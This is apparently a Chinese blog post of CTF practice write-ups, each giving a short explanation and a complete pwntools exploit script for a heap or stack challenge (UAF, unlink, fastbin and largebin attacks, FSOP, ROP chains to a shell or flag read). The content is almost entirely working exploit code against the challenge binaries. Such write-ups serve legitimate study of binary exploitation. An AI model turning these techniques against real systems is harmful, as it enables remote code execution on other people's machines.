近期杂七杂八的刷题

0x00 前言

就是最近刷的一些简单题

ZeroStrage

这道题就是有一个uaf,然后利用unsortedbin attack 改掉global_fast_max, 再用释放一个chunk使其覆盖IO_list_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
context.log_level = 'debug'
sh = process('./zerostorage')

def insert(size,content):
sh.recvuntil("Your choice: ")
sh.sendline('1')
sh.recvuntil("Length of new entry: ")
sh.sendline(str(size))
sh.recvuntil("Enter your data: ")
sh.send(content)

def update(idx,length,data):
sh.recvuntil("Your choice: ")
sh.sendline('2')
sh.recvuntil("Entry ID: ")
sh.sendline(str(idx))
sh.recvuntil("Length of entry: ")
sh.sendline(str(length))
sh.recvuntil("Enter your data: ")
sh.send(data)

def merge(idx1, idx2):
sh.recvuntil("Your choice: ")
sh.sendline('3')
sh.recvuntil("Merge from Entry ID: ")
sh.sendline(str(idx1))
sh.recvuntil("Merge to Entry ID: ")
sh.sendline(str(idx2))

def delete(idx):
sh.recvuntil("Your choice: ")
sh.sendline('4')
sh.recvuntil("Entry ID: ")
sh.sendline(str(idx))

def view(idx):
sh.recvuntil("Your choice: ")
sh.sendline('5')
sh.recvuntil("Entry ID: ")
sh.sendline(str(idx))


def build_fake_file(addr,vtable):

flag=0xfbad2887
#flag&=~4
#flag|=0x800
fake_file=p64(flag) #_flags
fake_file+=p64(addr) #_IO_read_ptr
fake_file+=p64(addr) #_IO_read_end
fake_file+=p64(addr) #_IO_read_base
fake_file+=p64(addr) #_IO_write_base
fake_file+=p64(addr+1) #_IO_write_ptr
fake_file+=p64(addr) #_IO_write_end
fake_file+=p64(addr) #_IO_buf_base
fake_file+=p64(0) #_IO_buf_end
fake_file+=p64(0) #_IO_save_base
fake_file+=p64(0) #_IO_backup_base
fake_file+=p64(0) #_IO_save_end
fake_file+=p64(0) #_markers
fake_file+=p64(0) #chain could be a anathor file struct
fake_file+=p32(1) #_fileno
fake_file+=p32(0) #_flags2
fake_file+=p64(0xffffffffffffffff) #_old_offset
fake_file+=p16(0) #_cur_column
fake_file+=p8(0) #_vtable_offset
fake_file+=p8(0x10) #_shortbuf
fake_file+=p32(0)
fake_file+=p64(0) #_lock
fake_file+=p64(0xffffffffffffffff) #_offset
fake_file+=p64(0) #_codecvt
fake_file+=p64(0) #_wide_data
fake_file+=p64(0) #_freeres_list
fake_file+=p64(0) #_freeres_buf
fake_file+=p64(0) #__pad5
fake_file+=p32(0xffffffff) #_mode
fake_file+=p32(0) #unused2
fake_file+=p64(0)*2 #unused2
fake_file+=p64(vtable) #vtable

return fake_file
#gdb.attach(sh)
insert(0x20,'a'*0x20) #0
insert(0x20,'a'*0x20) #1
insert(0x20,'a'*0x20) #2
insert(0x20,'a'*0x20) #3
merge(0,0) #4 -0
delete(2)#-2
view(4)
sh.recvuntil("Entry No.4:\n")
libc_addr = u64(sh.recv(8)) - 0x3c4b78
heap_addr = u64(sh.recv(8)) - 0x120
global_max_fast = libc_addr + 0x3c67f8
one_gadget = libc_addr + 0x4526a
log.success("libc_addr: "+ hex(libc_addr))
log.success("heap_addr: " + hex(heap_addr))
log.success("global_max_fast: " + hex(global_max_fast))

insert(0x50,'a'*0x50)#0
insert(0x20,'a'*0x20)#2
# delete(0)#-0
payload = p64(0) + p64(global_max_fast-0x10) + 'a'*0x10
# update(4,0x20,payload)
# insert(0x20,'a'*0x20)#0

insert(0x1000,'a'*0x1000)#5
insert(0x400,0x400*'a')#6
fake_file = build_fake_file(0,heap_addr+0x10)
update(5,0x1000,fake_file[0x10:].ljust(0x1000,'a'))
merge(6,5)#7

insert(0x1000,'a'*0x1000)#5
insert(0x1000,'a'*0x1000)#6

merge(2,2)#8
update(8,0x20,payload)
insert(0x20,'a'*0x20)#2

delete(7) #-7
update(0,0x50,p64(one_gadget)*(0x50/8))
sh.recvuntil("Your choice: ")
sh.sendline('7')
sh.interactive()

Hgame week4

这道题关闭了标准输出流,利用unlink的任意地址写覆盖stdin的后四位为stderr造成泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
sh = process('./AN2')
context.log_level = 'debug'
#gdb.attach(sh)
sh.recvuntil("Welcome to Annevi's note2\n")

def add(size,content):
sh.sendline('1')
sh.sendline(str(size))
sh.send(content)

def dele(idx):
sh.sendline('2')
sh.sendline(str(idx))

def show(idx):
sh.sendline('3')
sh.sendline(str(idx))

def edit(idx,content):
sh.sendline('4')
sh.sendline(str(idx))
sh.send(content)

buf = 0x6020E0

add(0x90,'a\n')#0
add(0x90,'a\n')#1
add(0x90,'a\n')#2
add(0x90,'a\n')#3

payload = ''
payload += p64(0) + p64(0x91)
payload += p64(buf-0x18) + p64(buf-0x10)
payload += 'a'*0x70
payload += p64(0x90) + p64(0xa0)

edit(0,payload+'\n')
dele(1)

payload = ''
payload += 'a'*0x18 + p64(0x6020A0)+p64(0x6020E0)
edit(0,payload+'\n')

edit(0,'\x40\x25'+'\n')
show(0)
sh.recvuntil('content:')
libc_base = u64(sh.recv(6)+'\x00\x00') - 0x3c5540
log.success("libc_base: "+ hex(libc_base))

malloc_hook = libc_base + 0x3c4b10
one_gadget = libc_base + 0xf1147
edit(1,p64(malloc_hook)+'\n')
edit(0,p64(one_gadget)+'\n')

sh.sendline('1')
sh.sendline(str(0x90))

sh.interactive()

2019国赛 daily

这道的漏洞点在于free的时候没有对index进行限制,于是可以任意地址free,然后伪造chunk进行对重叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
sh = process('./daily')
context.log_level = 'debug'
gdb.attach(sh)
ptr = 0x602060
def Show():
sh.recvuntil("choice:")
sh.sendline('1')

def Add(length, content):
sh.recvuntil("choice:")
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(length))
sh.recvuntil('daily\n')
sh.send(content)

def Change(idx, content):
sh.recvuntil("choice:")
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(idx))
sh.recvuntil('daily\n')
sh.send(content)

def Remove(idx):
sh.recvuntil("choice:")
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(idx))

Add(0x400,'a') #0
Add(0x20,'a') #1
Remove(0)
Add(0x20,'a') #0
Show()
sh.recv(4)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4f61
log.success('libc_base: ' + hex(libc_base))
Change(0,'a'*0x11)
Show()
sh.recvuntil('a'*0x10)
heap_base = u64(sh.recv(4).ljust(8,'\x00')) - 0x61
log.success('heap_base: ' + hex(heap_base))

fake_chunk1 = heap_base + 0x70

payload = ''
payload += 0x20 * 'a'
payload += p64(0)
payload += p64(0x61)
payload += 'a'*0x8
payload += p64(fake_chunk1)
payload += 'a'*0x40
payload += p64(0)
payload += p64(0x21)
Add(0x300,payload) #2
Add(0x60,'a\n')#3


fake_idx1 = (heap_base+0x78- 0x602068)/0x10
print hex(fake_idx1)
Remove(fake_idx1)

onegadget = libc_base + 0x4526a
malloc_hook = 0x3c4b10 + libc_base - 0x23
free_hook = libc_base + 0x3c67a8

payload = ''
payload += 0x20 * 'a'
payload += p64(0)
payload += p64(0x61)
payload += p64(ptr+0x30 - 0x8)
Change(2,payload)
Add(0x50,'a\n')
Add(0x50, p64(free_hook))
Change(3,p64(onegadget))

Remove(4)


sh.interactive()

2019国赛double

这道题就很简单了,就是个uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
sh = process('./pwn')
context.log_level = 'debug'
gdb.attach(sh)
def add(data):
sh.recvuntil("> ")
sh.sendline('1')
sh.recvuntil(":\n")
sh.send(data)

def show(idx):
sh.recvuntil("> ")
sh.sendline('2')
sh.recvuntil(": ")
sh.sendline(str(idx))

def eidt(idx,data):
sh.recvuntil("> ")
sh.sendline('3')
sh.recvuntil(": ")
sh.sendline(str(idx))
sh.send(data)

def delete(idx):
sh.recvuntil("> ")
sh.sendline('4')
sh.recvuntil(": ")
sh.sendline(str(idx))

add(0x8f*'a'+'\n') #0
add(0x8f*'a'+'\n') #1
add(0x1f*'a'+'\n') #2
delete(0)
show(1)
libc_base = u64(sh.recvuntil("\n")[:-1].ljust(8,'\x00')) - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
one_gad = libc_base + 0x4526a
log.success("libc_base: " + hex(libc_base))
log.success("malloc_hook: " + hex(malloc_hook))
add(0x5f*'a'+'\n') #3
add(0x5f*'a'+'\n') #4
add(0x1f*'a'+'\n') #5
delete(3)
eidt(4,p64(malloc_hook-0x23)+'\n')
add('b'*0x5f + '\n')#6
payload = ''
payload += 'a'*0x13
payload += p64(one_gad)
payload = payload.ljust(0x5f,'c')
add(payload + '\n')#7

sh.recvuntil("> ")
sh.sendline('1')

sh.interactive()

hctf2016

这道题就是通过堆上的操作可以拿到控制流,然后再在栈上构造rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context.log_level = 'debug'
sh = process('./pwn')
#gdb.attach(sh)
elf = ELF('./pwn')

def Create(size,content):
sh.recvuntil("3.quit\n")
sh.sendline("create ")
sh.recvuntil("Pls give string size:")
sh.sendline(str(size))
sh.recvuntil('str:')
sh.send(content)

def Delete(idx):
sh.recvuntil("3.quit\n")
sh.sendline("delete ")
sh.recvuntil("Pls give me the string id you want to delete\nid:")
sh.sendline(str(idx))
sh.recvuntil("Are you sure?:")
sh.sendline('yes')
#直接改后三位为puts泄露pie基地址
Create(4,'a'*4+'\x00') #0
Create(4,'b'*4+'\x00') #1
Delete(1)
Delete(0)
payload = 0x18*'a'
payload += '\x0b'
Create(0x20,payload+'\x00')
Delete(1)
sh.recvuntil(0x18*'a')
text_addr = u64(sh.recvuntil("\n")[:-1].ljust(8,'\x00')) - 0xd0b
log.success("text_addr: " + hex(text_addr))

pop_rdi = text_addr + 0x11d3
puts_plt = text_addr + elf.plt['puts']
atoi_got = text_addr + elf.got['atoi']
main_addr = text_addr + 0xBCA

#把那个函数指针pop_pop_pop_pop_ret,然后在输入yes的那个地方其实在栈上输入挺多的,可以构造rop链
#泄露libc地址
Create(4,'a'*4+'\x00') #1
Create(4,'b'*4+'\x00') #2
Delete(2)
Delete(1)
ropchain = 0x18*'a'
ropchain += p64(text_addr + 0x11cc)
Create(0x21,ropchain+'\x00')

payload = 'yes ' + 'a'*4
payload += p64(pop_rdi)
payload += p64(atoi_got)
payload += p64(puts_plt)
payload += p64(main_addr)

sh.recvuntil("3.quit\n")
sh.sendline("delete ")
sh.recvuntil("Pls give me the string id you want to delete\nid:")
sh.sendline(str(2))
sh.recvuntil("Are you sure?:")
sh.sendline(payload)
libc_addr = u64(sh.recvuntil("\n")[:-1].ljust(8,'\x00')) - 0x36e80
log.success('libc_addr: '+ hex(libc_addr))

#再次构造rop链拿到shell
Create(4,'a'*4+'\x00') #1
Create(4,'b'*4+'\x00') #2
Delete(3)
Delete(2)
ropchain = 0x18*'a'
ropchain += p64(text_addr + 0x11cc)
Create(0x21,ropchain+'\x00')

system_addr = libc_addr + 0x45390
binsh_addr = libc_addr + 0x18cd57
payload = 'yes ' + 'a'*4
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

sh.recvuntil("3.quit\n")
sh.sendline("delete ")
sh.recvuntil("Pls give me the string id you want to delete\nid:")
sh.sendline('3')
sh.recvuntil("Are you sure?:")
sh.sendline(payload)

sh.interactive()

##一些有用的gdb调试命令
## heapinfo
## tracemalloc on

starctf 2019 heap_master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import *

context.update(os="linux",arch="amd64")
#context.log_level = "debug"
context.aslr = False
libc = ELF('./libc-2.23.so')

def add(size):
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("size: ")
p.sendline(str(size))

def edit(idx,data):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("offset: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(len(data)))
p.recvuntil("content: ")
p.send(data)

def delete(idx):
p.recvuntil(">> ")
p.sendline('3')
p.recvuntil("offset: ")
p.sendline(str(idx))

def g(offset):
return libc_address + offset

offset = 0x8060
stdout = 0x5620


#p = remote('node3.buuoj.cn',27255)
p = process('./starctf_2019_heap_master', env={"LD_PRELOAD":"./libc-2.23.so"})
##chunk:0x330 0x30
edit(offset+0x8,p64(0x331)) #1
edit(offset+0x8+0x330,p64(0x31))
##chunk 0x410 0x30
edit(offset+0x8+0x360,p64(0x411)) #2
edit(offset+0x8+0x360+0x410,p64(0x31))
##chunk 0x410 0x30 0x30
edit(offset+0x8+0x360+0x440,p64(0x411)) #3
edit(offset+0x8+0x360+0x440+0x410,p64(0x31))
edit(offset+0x8+0x360+0x440+0x440,p64(0x31))

##unsorted bin:0x410(2)->0x330(1)
delete(offset+0x10) #1 0x330
delete(offset+0x10+0x360) #2 0x410


##unsorted bin:0x330-0xa0=0x290
##largebin:0x410 chunk 2
add(0x90) #0xa0
##edit size + fd + bk
edit(offset+0x8+0x360,p64(0x101)*3) #2 size+fd+bk
edit(offset+0x8+0x460,p64(0x101)*3) #chunk 2 + 0x100
edit(offset+0x8+0x560,p64(0x101)*3) #chunk 2 + 0x200

##unsorted bin:0x60(chunk 2-0xa0)
##smallbin:0x60(chunk 2+0x10-0xa0)
##smallbin:0x290
##largebin:chunk 2
delete(offset+0x10+0x370) #0x100 free (chunk 2+0x10)
add(0x90) #(chunk 2 + 0x10)-0xa0
delete(offset+0x10+0x360) #0x100 free (chunk 2)
add(0x90) #chunk 2-0xa0

#gdb.attach(p)
##largebin attack
##fwd->bk = stdout - 0x10
##fwd->bk_next_size = stdout+0x19-0x20
##stdout->victim
##stdout+0x19->victim
##(flag & 0xa00) and (flag & 0x1000 == 1) and (flag)
##_IO_write_base(stdout+0x20) partial write 0x00
edit(offset+0x8+0x360,p64(0x3f1)+p64(0)+p16(stdout-0x10)) #chunk 2->bk
edit(offset+0x8+0x360+0x18,p64(0)+p16(stdout+0x19-0x20)) #chunk 2->bk_nextsize
delete(offset+0x10+0x360+0x440) #free chunk 3(0x410)
add(0x90)
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p.recvn(0x18)
leak_addr = u64(p.recvn(8).ljust(8,'\x00'))
libc_address = leak_addr - 0x3c36e0
heap_base = u64(p.recvn(8)) - 0x880
log.success('lead_addr: ' + hex(leak_addr))
log.success('libc_base: ' + hex(libc_address))
log.success('heap_base: ' + hex(heap_base))
offset = 0x100
edit(offset+0x8,p64(0x331)) #1
edit(offset+0x8+0x330,p64(0x31))
edit(offset+0x8+0x360,p64(0x511)) #2
edit(offset+0x8+0x360+0x510,p64(0x31))
edit(offset+0x8+0x360+0x540,p64(0x511)) #3
edit(offset+0x8+0x360+0x540+0x510,p64(0x31))
edit(offset+0x8+0x360+0x540+0x540,p64(0x31))

delete(offset+0x10) #1 0x330
delete(offset+0x10+0x360) #2 0x510

add(0x90)

##edit chunk 2 0x4f0
##fwd->bk = io_list_all - 0x10
##ffwd->bk_nextsize = io_list_all - 0x20
edit(offset+0x8+0x360,p64(0x4f1)+p64(0)+p64(libc.symbols["_IO_list_all"]-0x10))
edit(offset+0x8+0x360+0x18,p64(0)+p64(libc.symbols["_IO_list_all"]-0x20))

##unsorted bin:0x510
##smallbin:0x330
##largebin:0x3f0 0x4f0
##io_list_all -> victim (chunk 3 0x510)
delete(offset+0x10+0x360+0x540) #3 0x510
add(0x200)
_IO_str_jump = p64(libc_address + (0x7ffff7dd07a0-0x00007ffff7a0d000))
#pp_j = g(0x12d80d) #pop rbx;pop rbp;jmp rdx
pp_j = g(one[1])
p_rsp_r = g(0x03838) #pop rsp;ret
p_rsp_r13_r = g(0x206d3) #pop rsp;pop r13;ret
p_rdi_r = g(0x21112) #pop rdi;ret
p_rdx_rsi_r = g(0x115189) #pop rdx;pop rsi;re
fake_IO_strfile = p64(0) + p64(p_rsp_r)
fake_IO_strfile += p64(heap_base+8) + p64(0)
fake_IO_strfile += p64(0) + p64(p_rsp_r13_r)
##rbx=rdi->fake IO_list_all(offset+0x360+0x540)
##mov rdx,[rdi+0x28] -> p_rsp_r13_r
##call QWORD PTR [rbx+0xe0] - > call [offset+0x360+0x540+0xe0] -> pp_j
##pp_j -> jmp rdx -> p_rsp_r13_r
fake_IO_strfile = p64(0) + p64(p_rsp_r)
fake_IO_strfile += p64(heap_base+8) + p64(0)
fake_IO_strfile += p64(0) + p64(p_rsp_r13_r)

orw = [
p_rdi_r,heap_base,
p_rdx_rsi_r, 0, 0,
libc.symbols["open"],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap_base+0x1337,
libc.symbols["read"],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap_base+0x1337,
libc.symbols["write"],
]

edit(0,'./flag\x00\x00'+flat(orw))
edit(offset+0x360+0x540,fake_IO_strfile)
##io_list_all+0xd8:vtable
edit(offset+0x360+0x540+0xd8,_IO_str_jump)
edit(offset+0x360+0x540+0xe0,p64(pp_j))
#gdb.attach(p)

p.sendlineafter(">> ",'0')
p.sendlineafter(">> ",'0')

p.interactive()

baby堆风水

没看出来有什么特别的,就挺简单的一个堆溢出,然后用got泄露,修改free_got然后直接打就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding=utf-8
from pwn import *
from sys import argv

if len(argv)==3:
ip,port=argv[1],int(argv[2])
io=remote(ip,port)
else:
io=process('./pwn')

e = ELF("./pwn")
libc = ELF("libc-2.23.so")
#context.log_level = "debug"
#context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

def debug():
gdb.attach(io)

def add_user(description_size, name, text_len, text):
io.recvuntil("Action: ")
io.sendline("0")
io.recvuntil("size of description: ")
io.sendline(str(description_size))
io.recvuntil("name: ")
io.sendline(name)
io.recvuntil("text length: ")
io.sendline(str(text_len))
io.recvuntil("text: ")
io.sendline(text)

def delete_user(index):
io.recvuntil("Action: ")
io.sendline("1")
io.recvuntil("index: ")
io.sendline(str(index))

def display(index):
io.recvuntil("Action: ")
io.sendline("2")
io.recvuntil("index: ")
io.sendline(str(index))

def update(index, text_len, text):
io.recvuntil("Action: ")
io.sendline("3")
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("text length: ")
io.sendline(str(text_len))
io.recvuntil("text: ")
io.sendline(text)

add_user(0x10, "aaa", 0x10, "bbb") #index0
add_user(0x10, "aaa", 0x10, "bbb") #index1
add_user(0x10, "aaa", 0x10, "/bin/bash\x00") #index2
delete_user(0)

free_got = e.got["free"]
payload = 128*"a" + p32(0x0) + p32(0x19) + "\x00"*20 + p32(0x89) + p32(free_got)
add_user(0x80, "aaa", len(payload), payload) #index3

# leak libc
display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))
#libc_addr = free_addr - libc.symbols["free"]
libc_addr = free_addr - 0x00070750
print("func address: " + hex(free_addr))
print("libc address: " + hex(libc_addr))

#get shell
#system_addr = libc_addr + libc.symbols["system"]
system_addr = libc_addr + 0x03a940
payload = p32(system_addr)
update(1, len(payload), payload)

delete_user(2)

io.interactive()

sogan

简单栈溢出加orw,记录一下orw模板以及一个查libc的网站
https://libc.rip/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#sh = remote('172.50.35.72',6666)
sh = process('./sokoban')

elf = ELF('./sokoban')
#libc = ELF('./libc6_2.7-10ubuntu3_amd64.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

gdb.attach(sh, 'b*0x400EF0')
puts_plt = 0x400640

pop_rdi = 0x0000000000400f63
pop_rsi_r15 = 0x0000000000400f61
leave_ret = 0x400EEF

payload = b'da'*0x300 + b'ddwwwwssdwwssassdwwwsssdww'

sh.sendline(payload)

sh.recvuntil('Hero,Please leave your name:')

fake_ebp = 0x602500

init_gad1 = 0x400F5A
init_gad2 = 0x400F40

binsh_addr = 0x602018


payload = b'a'*0x130 + p64(fake_ebp)
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(puts_plt) + p64(init_gad1)
payload += p64(0) + p64(1)
payload += p64(elf.got['read']) + p64(0) + p64(fake_ebp) + p64(0x100) + p64(init_gad2)
payload += p64(0) + p64(0) + p64(fake_ebp) + p64(0)*4
payload += p64(leave_ret)
sh.sendline(payload)
libc_base = u64(sh.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))

Open = libc_base + libc.sym['open']
Read = elf.plt['read']
Write = elf.plt['puts']

pop_rdx = libc_base + next(libc.search(asm('pop rdx; ret;')))
pop_rax = libc_base + next(libc.search(asm('pop rax; ret;')))
syscall = libc_base + 0x00000000000630d9



payload = b'./flag\x00\x00'
payload += p64(pop_rdi) + p64(fake_ebp)
payload += p64(pop_rsi_r15) + p64(0)*2
payload += p64(pop_rax) + p64(2)
payload += p64(syscall)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi_r15) + p64(fake_ebp+0x200) + p64(0)
payload += p64(Read)
payload += p64(pop_rdi)
payload += p64(fake_ebp + 0x200)
payload += p64(Write)




sleep(0.1)
sh.sendline(payload)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +